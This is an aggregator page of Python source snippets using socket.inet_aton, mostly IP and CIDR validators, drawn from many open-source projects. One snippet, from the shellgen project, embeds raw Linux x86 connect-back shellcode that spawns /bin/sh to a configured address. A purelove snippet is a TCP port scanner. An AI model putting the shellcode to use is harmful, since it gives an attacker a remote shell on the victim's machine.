python类inet_aton()的实例源码

utils.py 文件源码 项目:hostapd-mana 作者: adde88 项目源码 文件源码 阅读 35 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """Very simple check of the cidr format in no_proxy variable"""
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:YoWhenReady 作者: jnsdrtlf 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """Very simple check of the cidr format in no_proxy variable"""
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:Sci-Finder 作者: snverse 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    """
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
scan.py 文件源码 项目:purelove 作者: hucmosin 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def single_host(ip):
    try:
        socket.inet_aton(ip)
    except socket.error:
        return 'Error: Invalid IP address.'

    results = ''

    for p in PORTS:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        c = s.connect_ex((ip, p))
        socket.setdefaulttimeout(0.5)

        state = 'open' if not c else 'closed'

        results += '{:>5}/tcp {:>7}\n'.format(p, state)

    return results.rstrip()
scan.py 文件源码 项目:purelove 作者: hucmosin 项目源码 文件源码 阅读 39 收藏 0 点赞 0 评论 0
def single_host(ip):
    try:
        socket.inet_aton(ip)
    except socket.error:
        return 'Error: Invalid IP address.'

    results = ''

    for p in PORTS:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        c = s.connect_ex((ip, p))
        socket.setdefaulttimeout(0.5)

        state = 'open' if not c else 'closed'

        results += '{:>5}/tcp {:>7}\n'.format(p, state)

    return results.rstrip()
validators.py 文件源码 项目:purelove 作者: hucmosin 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def ipv4(address):
    address = address.replace("http://", "").replace("https://", "")

    try:
        socket.inet_pton(socket.AF_INET, address)
    except AttributeError:
        try:
            socket.inet_aton(address)
        except socket.error:
            raise OptionValidationError("Option have to be valid IP address.")

        if address.count('.') == 3:
            return address
        else:
            raise OptionValidationError("Option have to be valid IP address.")
    except socket.error:
        raise OptionValidationError("Option have to be valid IP address.")

    return address
utils.py 文件源码 项目:alexa-stackoverflow 作者: benvand 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """Very simple check of the cidr format in no_proxy variable"""
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:devsecops-example-helloworld 作者: boozallen 项目源码 文件源码 阅读 22 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """Very simple check of the cidr format in no_proxy variable"""
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:harbour-sailfinder 作者: DylanVanAssche 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    """
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:QXSConsolas 作者: qxsch 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """Very simple check of the cidr format in no_proxy variable"""
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:ascii-art-py 作者: blinglnav 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    """
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
utils.py 文件源码 项目:Texty 作者: sarthfrey 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """Very simple check of the cidr format in no_proxy variable"""
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
chinanet.py 文件源码 项目:pychinadns 作者: faicker 项目源码 文件源码 阅读 27 收藏 0 点赞 0 评论 0
def __init__(self, chnroutes, blacklists, using_rfc1918):
        self.china_subs = []
        self.blackips = set()

        for sub in chnroutes:
            (l, h) = self.convert(sub)
            if l and h:
                self.china_subs.append((l, h))
        for ip in blacklists:
            try:
                self.blackips.add(struct.unpack('>I', socket.inet_aton(ip))[0])
            except socket.error:
                continue
        if using_rfc1918:
            self.china_subs.append(self.convert("192.168.0.0/16"))
            self.china_subs.append(self.convert("10.0.0.0/8"))
            self.china_subs.append(self.convert("172.16.0.0/12"))
        self.china_subs.sort()
chinanet.py 文件源码 项目:pychinadns 作者: faicker 项目源码 文件源码 阅读 28 收藏 0 点赞 0 评论 0
def convert(self, net):
        parts = net.split('/')
        if len(parts) != 2:
            return (-1, -1)
        ip_s, mask_s = parts[0], parts[1]
        if ip_s and mask_s:
            try:
                ip = struct.unpack('>I', socket.inet_aton(ip_s))[0]
            except socket.error:
                return (-1, -1)
            mask = int(mask_s)
            if mask < 0 or mask > 32:
                return (-1, -1)
            hex_mask = 0xffffffff - (1 << (32 - mask)) + 1
            lowest = ip & hex_mask
            highest = lowest + (1 << (32 - mask)) - 1
            return (lowest, highest)
chinanet.py 文件源码 项目:pychinadns 作者: faicker 项目源码 文件源码 阅读 26 收藏 0 点赞 0 评论 0
def is_in_china(self, str_ip):
        '''binary search'''
        try:
            ip = struct.unpack('>I', socket.inet_aton(str_ip))[0]
        except socket.error:
            return False
        i = 0
        j = len(self.china_subs) - 1
        while (i <= j):
            k = (i + j) // 2
            if ip > self.china_subs[k][1]:
                i = k + 1
            elif ip < self.china_subs[k][0]:
                j = k - 1
            else:
                return True
        return False
utils.py 文件源码 项目:ghostlines-robofont 作者: ghostlines 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def is_valid_cidr(string_network):
    """
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    """
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True
ip.py 文件源码 项目:charm-plumgrid-gateway 作者: openstack 项目源码 文件源码 阅读 23 收藏 0 点赞 0 评论 0
def is_ip(address):
    """
    Returns True if address is a valid IP address.
    """
    try:
        # Test to see if already an IPv4 address
        socket.inet_aton(address)
        return True
    except socket.error:
        return False
connectshell.py 文件源码 项目:shellgen 作者: MarioVilas 项目源码 文件源码 阅读 25 收藏 0 点赞 0 评论 0
def address(self, address):
        inet_aton(address)
        self.__address = address
connectshell.py 文件源码 项目:shellgen 作者: MarioVilas 项目源码 文件源码 阅读 24 收藏 0 点赞 0 评论 0
def compile(self, state = None):
        bytes = (
            "\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0"
            "\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68"
        ) + inet_aton(self.address) + (
            "\x66\x68"
        ) + pack("!H", self.port) + (
            "\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1"
            "\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"
        )
        if "\x00" in bytes:
            self.remove_encoding("nullfree")
        else:
            self.add_encoding("nullfree")
        return bytes
server.py 文件源码 项目:defuse_division 作者: lelandbatey 项目源码 文件源码 阅读 31 收藏 0 点赞 0 评论 0
def localnet_register(host, port):
    '''
    Runs a never-exiting thread which only registers a local network service
    via Zeroconf and then responds to info requests.
    '''
    try:
        from zeroconf import ServiceInfo, Zeroconf
        from time import sleep
    except ImportError as e:
        logging.error(
            'Zeroconf not installed, cannot register this server on the local '
            'network. Other players may still connect, but they must be told '
            'what your hostname and port are (hostname: {}, port: {})'.format(
                host, port))
        return

    advertised_interface = local_address('127.0.0.1')

    info = ServiceInfo(
        "_defusedivision._tcp.local.",
        "{}{}._defusedivision._tcp.local.".format(
            host.replace('.', '-'), advertised_interface.replace('.', '-')),
        address=socket.inet_aton(advertised_interface),
        port=int(port),
        weight=0,
        priority=0,
        properties=b"")

    zc = Zeroconf()
    zc.register_service(info)
    atexit.register(lambda: zc.close())
    while True:
        sleep(0.1)


问题


面经


文章

微信
公众号

扫码关注公众号